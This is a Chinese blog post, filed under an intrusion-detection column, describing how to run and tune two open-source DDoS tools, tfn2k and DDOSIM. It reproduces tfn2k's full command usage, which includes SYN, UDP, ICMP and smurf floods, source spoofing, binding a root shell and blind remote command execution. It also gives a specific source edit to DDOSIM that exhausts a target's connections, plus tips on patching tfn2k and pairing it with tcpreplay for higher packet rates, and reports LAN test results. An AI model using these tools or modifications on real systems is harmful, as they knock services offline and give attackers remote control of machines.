DDOS工具

最新推荐文章于 2024-05-07 09:50:28 发布

非同_寻常

最新推荐文章于 2024-05-07 09:50:28 发布

阅读量1.9k

点赞数

分类专栏： # IDS--入侵检测文章标签： ddos攻击 tfn2k 开源工具 DDosim

本文链接：https://blog.csdn.net/ftxc_blog/article/details/12565851

版权

IDS--入侵检测专栏收录该内容

13 篇文章 0 订阅

订阅专栏

DDOS开源工具：

1. tfn2k

自己官网下载
编译后首先启用./td
然后启用./tfn
详细参数如下：
usage: ./tfn <options>
[-P protocol]   Protocol for server communication. Can be ICMP, UDP or TCP.
       Uses a random protocol as default
[-D n]          Send out n bogus requests for each real one to decoy targets
[-S host/ip]   Specify your source IP. Randomly spoofed by default, you need
       to use your real IP if you are behind spoof-filtering routers
[-f hostlist]   Filename containing a list of hosts with TFN servers to contact
[-h hostname]   To contact only a single host running a TFN server
[-i target string]   Contains options/targets separated by '@', see below
[-p port]            A TCP destination port can be specified for SYN floods
[-n attack number]   0 - attack num
<-c command ID>   0 - Halt all current floods on server(s) immediately
       1 - Change IP antispoof-level (evade rfc2267 filtering)
            usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
       2 - Change Packet size, usage: -i <packet size in bytes>
       3 - Bind root shell to a port, usage: -i <remote port>
       4 - UDP flood, usage: -i victim@victim2@victim3@...
       5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
       6 - ICMP/PING flood, usage: -i victim@...
       7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
       8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
       9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
       10 - Blindly execute remote shell command, usage -i command

（注：1.源码构造的报文，由于报文格式错误，会被中高端路由器给过滤掉，实际并不能造成拒绝服务攻击效果，（tcp报文头部不满足最低20的要求）
            2. 需要对源码修改后使用，修改的源码由于发包速率的原因并不能造成明显的拒绝服务发生，可以配合tcpreplay使用，增强发包速率，实测百兆局域网中一台服务器，3台主机，其中1台主机对服务器发起攻击，其他2台访问，明显可以感受到拒绝服务攻击的发生）

2.DDosim命令解析

下载链接地址 http://pan.baidu.com/s/1ikqBL

# DDOSIM: Layer 7 DDoS Simulator v0.2
# Author: Adrian Furtuna <adif2k8@gmail.com>

Usage: ./ddosim
       -d IP        Target IP address
       -p PORT    Target port
       [-k NET]    Source IP from class C network (ex. 10.4.4.0)
       [-i IFNAME]    Output interface name
       [-c COUNT]    Number of connections to establish
       [-w DELAY]    Delay (in milliseconds) between SYN packets
       [-r TYPE]    Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO
       [-t NRTHREADS]    Number of threads to use when sending packets (default 1)
       [-n]       Do not spoof source address (use local address)
       [-v]       Verbose mode (slower)
       [-h]       Print this help message

修改源文件captureThread.cpp中的第86行
                                      pktsToSend.push_back(pkt);           //ACKs will be sent from this queue (to complete 3-way handshake)
创建使用三次握手的连接，由于注释后不发送确认报文，导致三次握手无法正常完成而消耗连接资源，当所有连接资源被消耗完后，将导致目标地址的指定端口无法访问
实际百兆局域网测试中，
                        当机器性能一般是，很快就可以导致dos发生，
                        当机器性能很强大时，貌似无法对机器造成很强的杀伤，
具体有待进一步研究补充